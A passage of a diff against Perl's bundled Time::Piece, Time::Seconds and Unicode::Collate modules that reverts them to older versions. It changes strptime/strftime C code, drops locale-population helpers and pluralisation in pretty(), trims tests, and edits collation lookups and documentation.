"December" + }, + + /* Ef_fmt + ** To determine short months / day order + */ + "%b %e", + + /* EF_fmt + ** To determine long months / day order + */ + "%B %e" +}; #define Locale (&_C_time_locale) @@ -347,8 +452,8 @@ _strptime(pTHX_ const char *buf, const char *fmt, struct tm *tm, int *got_GMT) { char c; const char *ptr; - int i; - size_t len; + int i, + len; int Ealternative, Oalternative; /* There seems to be a slightly improved version at @@ -383,7 +488,7 @@ label: break; case '+': - buf = _strptime(aTHX_ buf, "%c", tm, got_GMT); + buf = _strptime(aTHX_ buf, Locale->date_fmt, tm, got_GMT); if (buf == 0) return 0; break; @@ -407,8 +512,7 @@ label: case 'c': /* NOTE: c_fmt is intentionally ignored */ - - buf = _strptime(aTHX_ buf, "%a %d %b %Y %I:%M:%S %p %Z", tm, got_GMT); + buf = _strptime(aTHX_ buf, "%a %Ef %T %Y", tm, got_GMT); if (buf == 0) return 0; break; @@ -432,7 +536,10 @@ label: goto label; case 'F': - buf = _strptime(aTHX_ buf, "%Y-%m-%d", tm, got_GMT); + case 'f': + if (!Ealternative) + break; + buf = _strptime(aTHX_ buf, (c == 'f') ? Locale->Ef_fmt : Locale->EF_fmt, tm, got_GMT); if (buf == 0) return 0; break; @@ -464,13 +571,13 @@ label: break; case 'X': - buf = _strptime(aTHX_ buf, "%I:%M:%S %p", tm, got_GMT); + buf = _strptime(aTHX_ buf, Locale->X_fmt, tm, got_GMT); if (buf == 0) return 0; break; case 'x': - buf = _strptime(aTHX_ buf, "%a %d %b %Y", tm, got_GMT); + buf = _strptime(aTHX_ buf, Locale->x_fmt, tm, got_GMT); if (buf == 0) return 0; break; @@ -557,14 +664,12 @@ label: break; case 'p': - case 'P': /* * XXX This is bogus if parsed before hour-related * specifiers. */ len = strlen(Locale->am); - if (strncasecmp(buf, Locale->am, len) == 0 || - strncasecmp(buf, Locale->AM, len) == 0) { + if (strncasecmp(buf, Locale->am, len) == 0) { if (tm->tm_hour > 12) return 0; if (tm->tm_hour == 12) @@ -574,8 +679,7 @@ label: } len = strlen(Locale->pm); - if (strncasecmp(buf, Locale->pm, len) == 0 || - strncasecmp(buf, Locale->PM, len) == 0) { + if (strncasecmp(buf, Locale->pm, len) == 0) { if (tm->tm_hour > 12) return 0; if (tm->tm_hour != 12) @@ -611,7 +715,6 @@ label: break; case 'U': - case 'V': case 'W': /* * XXX This is bogus, as we can not assume any valid @@ -636,20 +739,16 @@ label: ptr++; break; - case 'u': case 'w': if (!isdigit((unsigned char)*buf)) return 0; i = *buf - '0'; - if (i > 6 + (c == 'u')) + if (i > 6) return 0; - if (i == 7) - i = 0; tm->tm_wday = i; - buf++; if (*buf != 0 && isspace((unsigned char)*buf)) while (*ptr != 0 && !isspace((unsigned char)*ptr)) ptr++; @@ -757,12 +856,8 @@ label: errno = sverrno; buf = cp; memset(&mytm, 0, sizeof(mytm)); - - if(*got_GMT == 1) - mytm = *localtime(&t); - else - mytm = *gmtime(&t); - + my_init_tm(&mytm); /* XXX workaround - see my_init_tm() above */ + mytm = *gmtime(&t); tm->tm_sec = mytm.tm_sec; tm->tm_min = mytm.tm_min; tm->tm_hour = mytm.tm_hour; @@ -811,12 +906,12 @@ label: for (cp = buf; *cp && isupper((unsigned char)*cp); ++cp) {/*empty*/} if (cp - buf) { - zonestr = (char *)malloc((size_t) (cp - buf + 1)); + zonestr = (char *)malloc(cp - buf + 1); if (!zonestr) { errno = ENOMEM; return 0; } - strncpy(zonestr, buf,(size_t) (cp - buf)); + strncpy(zonestr, buf, cp - buf); zonestr[cp - buf] = '\0'; my_tzset(aTHX); if (0 == strcmp(zonestr, "GMT")) { @@ -871,7 +966,7 @@ label: !!!! You must mortalize whatever push_common_tm put on stack yourself to avoid leaking !!!! */ -static SV ** +SV ** push_common_tm(pTHX_ SV ** SP, struct tm *mytm) { PUSHs(newSViv(mytm->tm_sec)); @@ -893,12 +988,12 @@ push_common_tm(pTHX_ SV ** SP, struct tm *mytm) return -- none, after calling return_11part_tm, you must call "return;" no exceptions */ -static void +void return_11part_tm(pTHX_ SV ** SP, struct tm *mytm) { my_mini_mktime(mytm); - /* warn("tm: %d-%d-%d %d:%d:%d\n", mytm->tm_year, mytm->tm_mon, mytm->tm_mday, mytm->tm_hour, mytm->tm_min, mytm->tm_sec); */ + /* warn("tm: %d-%d-%d %d:%d:%d\n", mytm.tm_year, mytm.tm_mon, mytm.tm_mday, mytm.tm_hour, mytm.tm_min, mytm.tm_sec); */ EXTEND(SP, 11); SP = push_common_tm(aTHX_ SP, mytm); /* epoch */ @@ -918,36 +1013,6 @@ return_11part_tm(pTHX_ SV ** SP, struct tm *mytm) return; } - -static void _populate_C_time_locale(pTHX_ HV* locales ) -{ - AV* alt_names = (AV *) SvRV( *hv_fetch(locales, "alt_month", 9, 0) ); - AV* long_names = (AV *) SvRV( *hv_fetch(locales, "month", 5, 0) ); - AV* short_names = (AV *) SvRV( *hv_fetch(locales, "mon", 3, 0) ); - int i; - - for (i = 0; i < 1 + (int) av_len( long_names ); i++) { - Locale->alt_month[i] = SvPV_nolen( (SV *) *av_fetch(alt_names, i, 0) ); - Locale->month[i] = SvPV_nolen( (SV *) *av_fetch(long_names, i, 0) ); - Locale->mon[i] = SvPV_nolen( (SV *) *av_fetch(short_names, i, 0) ); - } - - long_names = (AV *) SvRV( *hv_fetch(locales, "weekday", 7, 0) ); - short_names = (AV *) SvRV( *hv_fetch(locales, "wday", 4, 0) ); - - for (i = 0; i < 1 + (int) av_len( long_names ); i++) { - Locale->wday[i] = SvPV_nolen( (SV *) *av_fetch(short_names, i, 0) ); - Locale->weekday[i] = SvPV_nolen( (SV *) *av_fetch(long_names, i, 0) ); - } - - Locale->am = SvPV_nolen( (SV *) *hv_fetch(locales, "am", 2, 0) ); - Locale->pm = SvPV_nolen( (SV *) *hv_fetch(locales, "pm", 2, 0) ); - Locale->AM = SvPV_nolen( (SV *) *hv_fetch(locales, "AM", 2, 0) ); - Locale->PM = SvPV_nolen( (SV *) *hv_fetch(locales, "PM", 2, 0) ); - - return; -} - MODULE = Time::Piece PACKAGE = Time::Piece PROTOTYPES: ENABLE @@ -959,7 +1024,7 @@ _strftime(fmt, epoch, islocal = 1) int islocal CODE: { - char tmpbuf[TP_BUF_SIZE]; + char tmpbuf[128]; struct tm mytm; size_t len; @@ -968,7 +1033,7 @@ _strftime(fmt, epoch, islocal = 1) else mytm = *gmtime(&epoch); - len = strftime(tmpbuf, TP_BUF_SIZE, fmt, &mytm); + len = strftime(tmpbuf, sizeof tmpbuf, fmt, &mytm); /* ** The following is needed to handle to the situation where ** tmpbuf overflows. Basically we want to allocate a buffer @@ -983,14 +1048,14 @@ _strftime(fmt, epoch, islocal = 1) ** If there is a better way to make it portable, go ahead by ** all means. */ - if ((len > 0 && len < TP_BUF_SIZE) || (len == 0 && *fmt == '\0')) + if ((len > 0 && len < sizeof(tmpbuf)) || (len == 0 && *fmt == '\0')) ST(0) = sv_2mortal(newSVpv(tmpbuf, len)); else { /* Possibly buf overflowed - try again with a bigger buf */ - size_t fmtlen = strlen(fmt); - size_t bufsize = fmtlen + TP_BUF_SIZE; + int fmtlen = strlen(fmt); + int bufsize = fmtlen + sizeof(tmpbuf); char* buf; - size_t buflen; + int buflen; New(0, buf, bufsize, char); while (buf) { @@ -1023,40 +1088,26 @@ _tzset() return; /* skip XSUBPP's PUTBACK */ void -_strptime ( string, format, got_GMT, SV* localization ) +_strptime ( string, format ) char * string char * format - int got_GMT PREINIT: struct tm mytm; + time_t t; char * remainder; - HV * locales; + int got_GMT; PPCODE: - memset(&mytm, 0, sizeof(mytm)); - - /* sensible defaults. */ - mytm.tm_mday = 1; - mytm.tm_year = 70; - mytm.tm_wday = 4; + t = 0; + mytm = *gmtime(&t); mytm.tm_isdst = -1; /* -1 means we don't know */ - - if( SvTYPE(SvRV( localization )) == SVt_PVHV ){ - locales = (HV *)SvRV(localization); - } - else{ - croak("_strptime requires a Hash Reference of locales"); - } - - /* populate our locale data struct (used for %[AaBbPp] flags) */ - _populate_C_time_locale(aTHX_ locales ); + got_GMT = 0; remainder = (char *)_strptime(aTHX_ string, format, &mytm, &got_GMT); if (remainder == NULL) { croak("Error parsing time"); } if (*remainder != '\0') { - warn("Garbage at end of string in strptime: %s", remainder); - warn("Perhaps a format flag did not match the actual input?"); + warn("garbage at end of string in strptime: %s", remainder); } return_11part_tm(aTHX_ SP, &mytm); @@ -1092,13 +1143,13 @@ _crt_localtime(time_t sec) else mytm = *localtime(&sec); /* Need to get: $s,$n,$h,$d,$m,$y */ - EXTEND(SP, 10); + EXTEND(SP, 9); SP = push_common_tm(aTHX_ SP, &mytm); PUSHs(newSViv(mytm.tm_isdst)); PUTBACK; { SV ** endsp = SP; /* the SV * under SP needs to be mortaled */ - SP -= (10 - 1); /* subtract 0 based count of SVs to mortal */ + SP -= (9 - 1); /* subtract 0 based count of SVs to mortal */ /* mortal target of SP, then increment before function call so SP is already calculated before next comparison to not stall CPU */ do { @@ -1106,61 +1157,3 @@ _crt_localtime(time_t sec) } while(SP <= endsp); } return; - -SV* -_get_localization() - INIT: - HV* locales = newHV(); - AV* wdays = newAV(); - AV* weekdays = newAV(); - AV* mons = newAV(); - AV* months = newAV(); - SV** tmp; - size_t len; - char buf[TP_BUF_SIZE]; - size_t i; - time_t t = 1325386800; /*1325386800 = Sun, 01 Jan 2012 03:00:00 GMT*/ - struct tm mytm = *gmtime(&t); - CODE: - - for(i = 0; i < 7; ++i){ - - len = strftime(buf, TP_BUF_SIZE, "%a", &mytm); - av_push(wdays, (SV *) newSVpvn(buf, len)); - - len = strftime(buf, TP_BUF_SIZE, "%A", &mytm); - av_push(weekdays, (SV *) newSVpvn(buf, len)); - - ++mytm.tm_wday; - } - - for(i = 0; i < 12; ++i){ - - len = strftime(buf, TP_BUF_SIZE, "%b", &mytm); - av_push(mons, (SV *) newSVpvn(buf, len)); - - len = strftime(buf, TP_BUF_SIZE, "%B", &mytm); - av_push(months, (SV *) newSVpvn(buf, len)); - - ++mytm.tm_mon; - } - - tmp = hv_store(locales, "wday", 4, newRV_noinc((SV *) wdays), 0); - tmp = hv_store(locales, "weekday", 7, newRV_noinc((SV *) weekdays), 0); - tmp = hv_store(locales, "mon", 3, newRV_noinc((SV *) mons), 0); - tmp = hv_store(locales, "month", 5, newRV_noinc((SV *) months), 0); - tmp = hv_store(locales, "alt_month", 9, newRV((SV *) months), 0); - - len = strftime(buf, TP_BUF_SIZE, "%p", &mytm); - tmp = hv_store(locales, "AM", 2, newSVpvn(buf,len), 0); - mytm.tm_hour = 18; - len = strftime(buf, TP_BUF_SIZE, "%p", &mytm); - tmp = hv_store(locales, "PM", 2, newSVpvn(buf,len), 0); - - if(tmp == NULL || !SvOK( (SV *) *tmp)){ - croak("Failed to get localization."); - } - - RETVAL = newRV_noinc((SV *)locales); - OUTPUT: - RETVAL diff --git a/cpan/Time-Piece/Seconds.pm b/cpan/Time-Piece/Seconds.pm index 3a56b74485f8..965e3a6e5028 100644 --- a/cpan/Time-Piece/Seconds.pm +++ b/cpan/Time-Piece/Seconds.pm @@ -1,7 +1,7 @@ package Time::Seconds; use strict; -our $VERSION = '1.3204'; +our $VERSION = '1.31'; use Exporter 5.57 'import'; @@ -145,13 +145,6 @@ sub years { $s->days / 365.24225; } -sub _counted_objects { - my ($n, $counted) = @_; - my $number = sprintf("%d", $n); # does a "floor" - $counted .= 's' if 1 != $number; - return ($number, $counted); -} - sub pretty { my $s = shift; my $str = ""; @@ -162,19 +155,19 @@ sub pretty { if ($s >= ONE_MINUTE) { if ($s >= ONE_HOUR) { if ($s >= ONE_DAY) { - my ($days, $sd) = _counted_objects($s->days, "day"); - $str .= "$days $sd, "; + my $days = sprintf("%d", $s->days); # does a "floor" + $str .= $days . " days, "; $s -= ($days * ONE_DAY); } - my ($hours, $sh) = _counted_objects($s->hours, "hour"); - $str .= "$hours $sh, "; + my $hours = sprintf("%d", $s->hours); + $str .= $hours . " hours, "; $s -= ($hours * ONE_HOUR); } - my ($mins, $sm) = _counted_objects($s->minutes, "minute"); - $str .= "$mins $sm, "; + my $mins = sprintf("%d", $s->minutes); + $str .= $mins . " minutes, "; $s -= ($mins * ONE_MINUTE); } - $str .= join " ", _counted_objects($s->seconds, "second"); + $str .= $s->seconds . " seconds"; return $str; } diff --git a/cpan/Time-Piece/t/01base.t b/cpan/Time-Piece/t/01base.t index 2068d835ad71..fb2045eb687c 100644 --- a/cpan/Time-Piece/t/01base.t +++ b/cpan/Time-Piece/t/01base.t @@ -1,4 +1,4 @@ -use Test::More tests => 15; +use Test::More tests => 13; BEGIN { use_ok('Time::Piece'); } @@ -37,8 +37,3 @@ isa_ok($l, 'Time::Piece', 'custom localtime via new again'); my $l_clone = Time::Piece->new($l); isa_ok($l, 'Time::Piece', 'custom localtime via clone'); cmp_ok("$l_clone", 'eq', "$l", 'Clones match'); - -#via clone with gmtime -my $g_clone = Time::Piece->new($g); -isa_ok($g, 'Time::Piece', 'custom gmtime via clone'); -cmp_ok("$g_clone", 'eq', "$g", 'Clones match'); diff --git a/cpan/Time-Piece/t/02core.t b/cpan/Time-Piece/t/02core.t index 8de1426176cb..29330587d3bd 100644 --- a/cpan/Time-Piece/t/02core.t +++ b/cpan/Time-Piece/t/02core.t @@ -1,4 +1,4 @@ -use Test::More tests => 100; +use Test::More tests => 102; my $is_win32 = ($^O =~ /Win32/); my $is_qnx = ($^O eq 'qnx'); @@ -18,6 +18,9 @@ is($t->mday, 29); is($t->day_of_month, 29); is($t->mon, 2); is($t->_mon, 1); +is($t->monname, 'Feb'); +is($t->month, 'Feb'); +is($t->fullmonth, 'February'); is($t->year, 2000); is($t->_year, 100); is($t->yy, '00'); @@ -25,6 +28,9 @@ is($t->yy, '00'); cmp_ok($t->wday, '==', 3); cmp_ok($t->_wday, '==', 2); cmp_ok($t->day_of_week, '==', 2); +cmp_ok($t->wdayname, 'eq', 'Tue'); +cmp_ok($t->day, 'eq', 'Tue'); +cmp_ok($t->fullday, 'eq', 'Tuesday'); cmp_ok($t->yday, '==', 59); cmp_ok($t->day_of_year, '==', 59); @@ -70,8 +76,15 @@ cmp_ok($t->week, '==', 9); # 20 or 19, is fun, too..as far as I can read SUSv2 it should be 20.) cmp_ok($t->strftime('%d'), '==', 29); -cmp_ok($t->strftime('%D'), 'eq', '02/29/00'); # Yech! -cmp_ok($t->strftime('%e'), 'eq', '29'); # should test with < 10 +SKIP: { + skip "can't strftime %D, %R, %T or %e on Win32", 1 if $is_win32; + cmp_ok($t->strftime('%D'), 'eq', '02/29/00'); # Yech! +} +SKIP:{ + skip "can't strftime %D, %R, %T or %e on Win32", 1 if $is_win32; + skip "can't strftime %e on QNX", 1 if $is_qnx; + cmp_ok($t->strftime('%e'), 'eq', '29'); # should test with < 10 +} # %h is locale-dependent cmp_ok($t->strftime('%H'), 'eq', '12'); # should test with < 10 @@ -83,11 +96,17 @@ cmp_ok($t->strftime('%M'), 'eq', '34'); # should test with < 10 # %p, %P, and %r are not widely implemented, # and are possibly unportable (am or AM or a.m., and so on) -cmp_ok($t->strftime('%R'), 'eq', '12:34'); # should test with > 12 +SKIP: { + skip "can't strftime %R on Win32 or QNX", 1 if $is_win32 or $is_qnx; + cmp_ok($t->strftime('%R'), 'eq', '12:34'); # should test with > 12 +} ok($t->strftime('%S') eq '56'); # should test with < 10 -cmp_ok($t->strftime('%T'), 'eq', '12:34:56'); # < 12 and > 12 +SKIP: { + skip "can't strftime %T on Win32", 1 if $is_win32; + cmp_ok($t->strftime('%T'), 'eq', '12:34:56'); # < 12 and > 12 +} # There are bugs in the implementation of %u in many platforms. # (e.g. Linux seems to think, despite the man page, that %u @@ -96,7 +115,7 @@ cmp_ok($t->strftime('%T'), 'eq', '12:34:56'); # < 12 and > 12 cmp_ok($t->strftime('%U'), 'eq', '09'); # Sun cmp Mon SKIP: { - skip "can't strftime %V on QNX or VOS", 1 if $is_qnx or $is_vos; + skip "can't strftime %V on Win32 or QNX or VOS", 1 if $is_win32 or $is_qnx or $is_vos; # is this test really broken on Mac OS? -- rjbs, 2006-02-08 cmp_ok($t->strftime('%V'), 'eq', '09'); # Sun cmp Mon } @@ -124,7 +143,6 @@ cmp_ok($t->date_separator, 'eq', '-'); $t->date_separator("/"); cmp_ok($t->date_separator, 'eq', '/'); -cmp_ok(Time::Piece::date_separator(), 'eq', '/'); cmp_ok($t->ymd, 'eq', '2000/02/29'); $t->date_separator("-"); @@ -133,7 +151,6 @@ cmp_ok($t->hms("."), 'eq', '12.34.56'); $t->time_separator("."); cmp_ok($t->time_separator, 'eq', '.'); -cmp_ok(Time::Piece::time_separator(), 'eq', '.'); cmp_ok($t->hms, 'eq', '12.34.56'); $t->time_separator(":"); @@ -151,8 +168,7 @@ cmp_ok($t->day, 'eq', "Merdi"); $t->day_list(@days); -my @nmdays = Time::Piece::day_list(); -is_deeply (\@nmdays, \@days); +cmp_ok($t->day, 'eq', "Tue"); my @months = $t->mon_list(); @@ -168,8 +184,6 @@ cmp_ok($t->month, 'eq', "februari"); $t->mon_list(@months); cmp_ok($t->month, 'eq', "Feb"); -my @nmmonths = Time::Piece::mon_list(); -is_deeply (\@nmmonths, \@months); cmp_ok( $t->datetime(date => '/', T => ' ', time => '-'), @@ -219,16 +233,20 @@ cmp_ok( 951827696 ); +#from Time::Piece::Plus +#test reverse parsing +my $now = localtime(); +my $strp_format = "%Y-%m-%d %H:%M:%S"; + +my $now_str = $now->strftime($strp_format); + +my $now_parsed = $now->strptime($now_str, $strp_format); + +cmp_ok($now_parsed->epoch, '==', $now->epoch); +cmp_ok($now_parsed->strftime($strp_format), 'eq', $now->strftime($strp_format)); +cmp_ok($now_parsed->strftime(), 'eq', $now->strftime()); + my $s = Time::Seconds->new(-691050); is($s->pretty, 'minus 7 days, 23 hours, 57 minutes, 30 seconds'); -$s = Time::Seconds->new(-90061); -is($s->pretty, 'minus 1 day, 1 hour, 1 minute, 1 second'); - -$s = Time::Seconds->new(10); -is($s->pretty, '10 seconds'); -$s = Time::Seconds->new(130); -is($s->pretty, '2 minutes, 10 seconds'); -$s = Time::Seconds->new(7330); -is($s->pretty, '2 hours, 2 minutes, 10 seconds', "Format correct"); diff --git a/cpan/Time-Piece/t/02core_dst.t b/cpan/Time-Piece/t/02core_dst.t index 3f54fff233c7..4e12fb66948b 100644 --- a/cpan/Time-Piece/t/02core_dst.t +++ b/cpan/Time-Piece/t/02core_dst.t @@ -1,4 +1,4 @@ -use Test::More tests => 56; +use Test::More tests => 60; my $is_win32 = ($^O =~ /Win32/); my $is_qnx = ($^O eq 'qnx'); @@ -25,6 +25,9 @@ is($t->mday, 9); is($t->day_of_month, 9); is($t->mon, 7); is($t->_mon, 6); +is($t->monname, 'Jul'); +is($t->month, 'Jul'); +is($t->fullmonth, 'July'); is($t->year, 2013); is($t->_year, 113); is($t->yy, '13'); @@ -32,6 +35,9 @@ is($t->yy, '13'); cmp_ok($t->wday, '==', 3); cmp_ok($t->_wday, '==', 2); cmp_ok($t->day_of_week, '==', 2); +cmp_ok($t->wdayname, 'eq', 'Tue'); +cmp_ok($t->day, 'eq', 'Tue'); +cmp_ok($t->fullday, 'eq', 'Tuesday'); cmp_ok($t->yday, '==', 189); cmp_ok($t->day_of_year, '==', 189); @@ -119,7 +125,7 @@ cmp_ok($t->month_last_day, '==', 31); # test more SKIP: { - skip "Extra tests for Linux, BSD only.", 8 unless $is_linux or $is_mac or $is_bsd; + skip "Extra tests for Linux, BSD only.", 6 unless $is_linux or $is_mac or $is_bsd; local $ENV{TZ} = "EST5EDT4"; Time::Piece::_tzset(); @@ -127,13 +133,14 @@ SKIP: { cmp_ok(scalar($lt->tzoffset), 'eq', '-14400'); cmp_ok($lt->strftime("%Y-%m-%d %H:%M:%S %Z"), 'eq', '2013-07-09 08:07:11 EDT'); like ($lt->strftime("%z"), qr/-0400|EDT/); #windows: %Z and %z are the same - is ($lt->strftime("%s"), 1373371631, 'Epoch output is the same with EDT'); $lt = localtime(1357733231); #2013-01-09T12:07:11 cmp_ok(scalar($lt->tzoffset), 'eq', '-18000'); cmp_ok($lt->strftime("%Y-%m-%d %H:%M:%S %Z"), 'eq', '2013-01-09 07:07:11 EST'); like ($lt->strftime("%z"), qr/-0500|EST/); - is ($lt->strftime("%s"), 1357733231, 'Epoch output is the same with EST'); } + + + diff --git a/cpan/Time-Piece/t/03compare.t b/cpan/Time-Piece/t/03compare.t index ff3c706e292a..ccd853582989 100644 --- a/cpan/Time-Piece/t/03compare.t +++ b/cpan/Time-Piece/t/03compare.t @@ -1,5 +1,5 @@ -use Test::More; -BEGIN { plan tests => 11 } +use Test; +BEGIN { plan tests => 5 } use Time::Piece; my @t = ('2002-01-01 00:00', @@ -8,18 +8,12 @@ my @t = ('2002-01-01 00:00', @t = map Time::Piece->strptime($_, '%Y-%m-%d %H:%M'), @t; ok($t[0] < $t[1]); -ok($t[0] < $t[1]->epoch); ok($t[0] != $t[1]); ok($t[0] == $t[0]); -ok($t[0] == $t[0]->epoch); ok($t[0] != $t[1]); ok($t[0] <= $t[1]); -ok($t[0] <= $t[1]->epoch); -is($t[0] cmp $t[1], -1); -is($t[1] cmp $t[0], 1); -is($t[0] cmp $t[0], 0); diff --git a/cpan/Time-Piece/t/07arith.t b/cpan/Time-Piece/t/07arith.t index 58ca17b3bcd8..7f16bd13ae6f 100644 --- a/cpan/Time-Piece/t/07arith.t +++ b/cpan/Time-Piece/t/07arith.t @@ -1,6 +1,6 @@ -use Test::More tests => 43; +use Test::More tests => 25; -BEGIN { use_ok('Time::Piece'); use_ok('Time::Seconds'); } +BEGIN { use_ok('Time::Piece'); } ok(1); @@ -45,39 +45,3 @@ my $t9 = $t->add_months(-13); is($t9->year, 2008); is($t9->mon, 12); is($t9->mday, 1); - -eval { $t->add_months(); }; -like($@, qr/add_months requires a number of months/); - -# Tests for Time::Seconds start here -my $s = $t - $t7; -is($s->minutes, 44640); -is($s->hours, 744); -is($s->days, 31); -is(int($s->weeks), 4); -is(int($s->months), 1); -is(int($s->years), 0); - -$s2 = $s->copy; -is($s2->minutes, 44640, 'Copy Time::Seconds object'); -$s2 = $s->copy + 60; -is($s2->minutes, 44641, 'Add integer to Time::Seconds object'); -$s2 += ONE_HOUR; -is($s2->minutes, 44701, 'Add exported constant to Time::Seconds object'); -$s2 += $s2; -is($s2->minutes, 89402, 'Add one Time::Seconds object to another'); - -$s2 += 300 * ONE_DAY; -is(int($s2->financial_months), 12); -is(int($s2->months), 11); - -$s2 = Time::Seconds->new(); -is($s2->seconds, 0, 'Empty Time::Seconds constructor is 0s'); -my $s3 = Time::Seconds->new(10); -$s2 = $s2 + $s3; -is($s2->seconds, 10, 'Add 2 Time::Seconds objects'); -$s2 -= $s3; -is($s2->seconds, 0, 'Subtract one Time::Seconds object from another'); - -eval { $s2 = $s2 + $t; }; -like($@, qr/Can't use non Seconds object in operator overload/); diff --git a/cpan/Unicode-Collate/Collate.pm b/cpan/Unicode-Collate/Collate.pm index ac1cd03f6046..e485387d9fa6 100644 --- a/cpan/Unicode-Collate/Collate.pm +++ b/cpan/Unicode-Collate/Collate.pm @@ -17,16 +17,17 @@ use File::Spec; no warnings 'utf8'; -our $VERSION = '1.25'; +our $VERSION = '1.19'; our $PACKAGE = __PACKAGE__; ### begin XS only ### -use XSLoader (); -XSLoader::load('Unicode::Collate', $VERSION); +require DynaLoader; +our @ISA = qw(DynaLoader); +bootstrap Unicode::Collate $VERSION; ### end XS only ### my @Path = qw(Unicode Collate); -my $KeyFile = 'allkeys.txt'; +my $KeyFile = "allkeys.txt"; # Perl's boolean use constant TRUE => 1; @@ -88,9 +89,9 @@ my $DefaultRearrange = [ 0x0E40..0x0E44, 0x0EC0..0x0EC4 ]; my $HighestVCE = pack(VCE_TEMPLATE, 0, 0xFFFE, 0x20, 0x5, 0xFFFF); my $minimalVCE = pack(VCE_TEMPLATE, 0, 1, 0x20, 0x5, 0xFFFE); -sub UCA_Version { '34' } +sub UCA_Version { "32" } -sub Base_Unicode_Version { '9.0.0' } +sub Base_Unicode_Version { "8.0.0" } ###### @@ -189,13 +190,11 @@ my %DerivCode = ( 28 => \&_derivCE_24, # 28 == 24 30 => \&_derivCE_24, # 30 == 24 32 => \&_derivCE_32, - 34 => \&_derivCE_34, - 36 => \&_derivCE_36, ); sub checkCollator { my $self = shift; - _checkLevel($self->{level}, 'level'); + _checkLevel($self->{level}, "level"); $self->{derivCode} = $DerivCode{ $self->{UCA_Version} } or croak "Illegal UCA version (passed $self->{UCA_Version})."; @@ -209,13 +208,13 @@ sub checkCollator { if (! defined $self->{backwards}) { $self->{backwardsFlag} = 0; } elsif (! ref $self->{backwards}) { - _checkLevel($self->{backwards}, 'backwards'); + _checkLevel($self->{backwards}, "backwards"); $self->{backwardsFlag} = 1 << $self->{backwards}; } else { my %level; $self->{backwardsFlag} = 0; for my $b (@{ $self->{backwards} }) { - _checkLevel($b, 'backwards'); + _checkLevel($b, "backwards"); $level{$b} = 1; } for my $v (sort keys %level) { @@ -440,17 +439,13 @@ sub parseEntry # if and only if "all" CEs are [.0000.0000.0000]. } - # mapping: be an array ref or not exists (any false value is disallowed) $self->{mapping}{$entry} = $is_L3_ignorable ? [] : \@key; - # maxlength: be more than 1 or not exists (any false value is disallowed) if (@uv > 1) { if (!$self->{maxlength}{$uv[0]} || $self->{maxlength}{$uv[0]} < @uv) { $self->{maxlength}{$uv[0]} = @uv; } } - - # contraction: be 1 or not exists (any false value is disallowed) while (@uv > 2) { pop @uv; my $fake_entry = join(CODE_SEP, @uv); # in JCPS @@ -519,7 +514,7 @@ sub splitEnt if ($vers <= 20 && _isIllegal($src[$i])) { $src[$i] = undef; } elsif ($ver9) { - $src[$i] = undef if exists $map->{ $src[$i] } + $src[$i] = undef if $map->{ $src[$i] } ? @{ $map->{ $src[$i] } } == 0 : $uXS && _ignorable_simple($src[$i]); ### XS only } @@ -539,7 +534,7 @@ sub splitEnt my $i_orig = $i; # find contraction - if (exists $max->{$jcps}) { + if ($max->{$jcps}) { my $temp_jcps = $jcps; my $jcpsLen = 1; my $maxLen = $max->{$jcps}; @@ -548,7 +543,7 @@ sub splitEnt next if ! defined $src[$p]; $temp_jcps .= CODE_SEP . $src[$p]; $jcpsLen++; - if (exists $map->{$temp_jcps}) { + if ($map->{$temp_jcps}) { $jcps = $temp_jcps; $i = $p; } @@ -575,7 +570,7 @@ sub splitEnt last unless $curCC; my $tail = CODE_SEP . $src[$p]; - if ($preCC != $curCC && exists $map->{$jcps.$tail}) { + if ($preCC != $curCC && $map->{$jcps.$tail}) { $jcps .= $tail; push @out, $p; } else { @@ -584,9 +579,8 @@ sub splitEnt next if !$long; - if ($preCC_uc != $curCC && - (exists $map->{$jcps_uc.$tail} || - exists $cont->{$jcps_uc.$tail})) { + if ($preCC_uc != $curCC && ($map->{$jcps_uc.$tail} || + $cont->{$jcps_uc.$tail})) { $jcps_uc .= $tail; push @out_uc, $p; } else { @@ -594,7 +588,7 @@ sub splitEnt } } - if (@out_uc && exists $map->{$jcps_uc}) { + if (@out_uc && $map->{$jcps_uc}) { $jcps = $jcps_uc; $src[$_] = undef for @out_uc; } else { @@ -604,7 +598,7 @@ sub splitEnt } # skip completely ignorable - if (exists $map->{$jcps} ? @{ $map->{$jcps} } == 0 : + if ($map->{$jcps} ? @{ $map->{$jcps} } == 0 : $uXS && $jcps !~ /;/ && _ignorable_simple($jcps)) { ### XS only if ($wLen && @buf) { $buf[-1][2] = $i + 1; @@ -653,7 +647,7 @@ sub getWt $u = 0xFFFD if $u !~ /;/ && 0x10FFFF < $u && !$out; my @ce; - if (exists $map->{$u}) { + if ($map->{$u}) { @ce = @{ $map->{$u} }; # $u may be a contraction ### begin XS only ### } elsif ($uXS && _exists_simple($u)) { @@ -671,27 +665,27 @@ sub getWt if (@decH == 2) { my $contract = join(CODE_SEP, @decH); - @decH = ($contract) if exists $map->{$contract}; + @decH = ($contract) if $map->{$contract}; } else { # must be <@decH == 3> - if (exists $max->{$decH[0]}) { + if ($max->{$decH[0]}) { my $contract = join(CODE_SEP, @decH); - if (exists $map->{$contract}) { + if ($map->{$contract}) { @decH = ($contract); } else { $contract = join(CODE_SEP, @decH[0,1]); - exists $map->{$contract} and @decH = ($contract, $decH[2]); + $map->{$contract} and @decH = ($contract, $decH[2]); } # even if V's ignorable, LT contraction is not supported. # If such a situation were required, NFD should be used. } - if (@decH == 3 && exists $max->{$decH[1]}) { + if (@decH == 3 && $max->{$decH[1]}) { my $contract = join(CODE_SEP, @decH[1,2]); - exists $map->{$contract} and @decH = ($decH[0], $contract); + $map->{$contract} and @decH = ($decH[0], $contract); } } @ce = map({ - exists $map->{$_} ? @{ $map->{$_} } : + $map->{$_} ? @{ $map->{$_} } : $uXS && _exists_simple($_) ? _fetch_simple($_) : ### XS only $der->($_); } @decH); @@ -1104,7 +1098,7 @@ If the revision (previously "tracking version") number of UCA is given, behavior of that revision is emulated on collating. If omitted, the return value of C is used. -The following revisions are supported. The default is 34. +The following revisions are supported. The default is 32. UCA Unicode Standard DUCET (@version) ------------------------------------------------------- @@ -1121,8 +1115,6 @@ The following revisions are supported. The default is 34. 28 6.3.0 6.3.0 (6.3.0) 30 7.0.0 7.0.0 (7.0.0) 32 8.0.0 8.0.0 (8.0.0) - 34 9.0.0 9.0.0 (9.0.0) - 36 10.0.0 10.0.0(10.0.0) * See below for C with C 22 and 24. @@ -1462,15 +1454,13 @@ those in the CJK Unified Ideographs Extension A etc. U+4E00..U+9FC3 if UCA_Version is 18. U+4E00..U+9FCB if UCA_Version is 20 or 22. U+4E00..U+9FCC if UCA_Version is 24 to 30. - U+4E00..U+9FD5 if UCA_Version is 32 or 34. - U+4E00..U+9FEA if 